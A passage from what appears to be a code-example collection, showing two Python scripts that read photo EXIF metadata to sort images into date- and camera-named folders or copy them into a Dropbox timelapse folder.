                            else:
                                datePath = "desconocido"
                            try:
                                if hasattr (my_image,"model"):
                                    newImageDirectoy = f"Z:\\RELOCATED\\{datePath}\\{my_image.model}"
                                elif hasattr (my_image, "software"):
                                    newImageDirectoy = f"Z:\\RELOCATED\\{datePath}\\{my_image.software}"
                                else:
                                    newImageDirectoy = f"Z:\\RELOCATED\\{datePath}\\desconocido"
                            except:
                                newImageDirectoy = f"Z:\\RELOCATED\\{datePath}\\desconocido"

                            newImagePath = f"{newImageDirectoy}\\{os.path.basename(imagePath)}"
                            try:    
                                if not os.path.exists(newImagePath):
                                    if not os.path.exists(newImageDirectoy):
                                        os.makedirs(newImageDirectoy)                
                                    threads.append(executor.submit(relocate, [imagePath,newImagePath]))
                                    relocated += 1
                                else: 
                                    print(f"{os.path.basename(imagePath)} already relocated")       
                            except:
                                pass
                                #logging.error(f"Error processing {os.path.basename(imagePath)}")
                                            # input()
                        else:
                            newImageDirectoy = f"Z:\\RELOCATED\\NO EXIF"
                            newImagePath = f"{newImageDirectoy}\\{os.path.basename(imagePath)}"
                            if not os.path.exists(newImagePath):
                                    if not os.path.exists(newImageDirectoy):
                                        os.makedirs(newImageDirectoy)
                                    threads.append(executor.submit(relocate, [imagePath, newImagePath]))
                                    relocated += 1
                            else: 
                                print(f"{os.path.basename(imagePath)} already relocated")     
        logging.info(f"{os.path.basename(folderPath)} ended at {datetime.now()}, {datetime.now()-started} elapsed \
            {scanned} files scanned, {relocated} files relocated")
コード例 #30
0
import sys

EXAMPLE_USAGE = """
No path given to extract_photos.py

  Example Usage:
    $ ./extract_photos.py /mnt/sdcard0/
    /media/tlehman/5501-C42C/DCIM/101_WSCT/WSCT2965.JPG
    /media/tlehman/5501-C42C/DCIM/101_WSCT/WSCT2966.JPG
    ...
    /media/tlehman/5501-C42C/DCIM/101_WSCT/WSCT2969.JPG
    /media/tlehman/5501-C42C/DCIM/101_WSCT/WSCT2970.JPG
"""

if __name__ == "__main__":
    if len(sys.argv) >= 2 and os.path.exists(sys.argv[1]):
        photo_path = sys.argv[1]
        photos = list(Path(photo_path).rglob("*.[jJ][pP][gG]"))
        for photo in photos:
            created_at = exif.Image(photo).datetime_original
            new_filename = "tree-%s.jpg" % created_at.replace(" ", "_")
            new_path = os.path.join(os.getenv("HOME"), "Dropbox/treelapse",
                                    new_filename)
            if not os.path.exists(new_path):
                print("Copying %s to %s" % (photo, new_path))
                shutil.copyfile(photo, new_path)
        exit(0)
    else:
        print(EXAMPLE_USAGE)
        exit(1)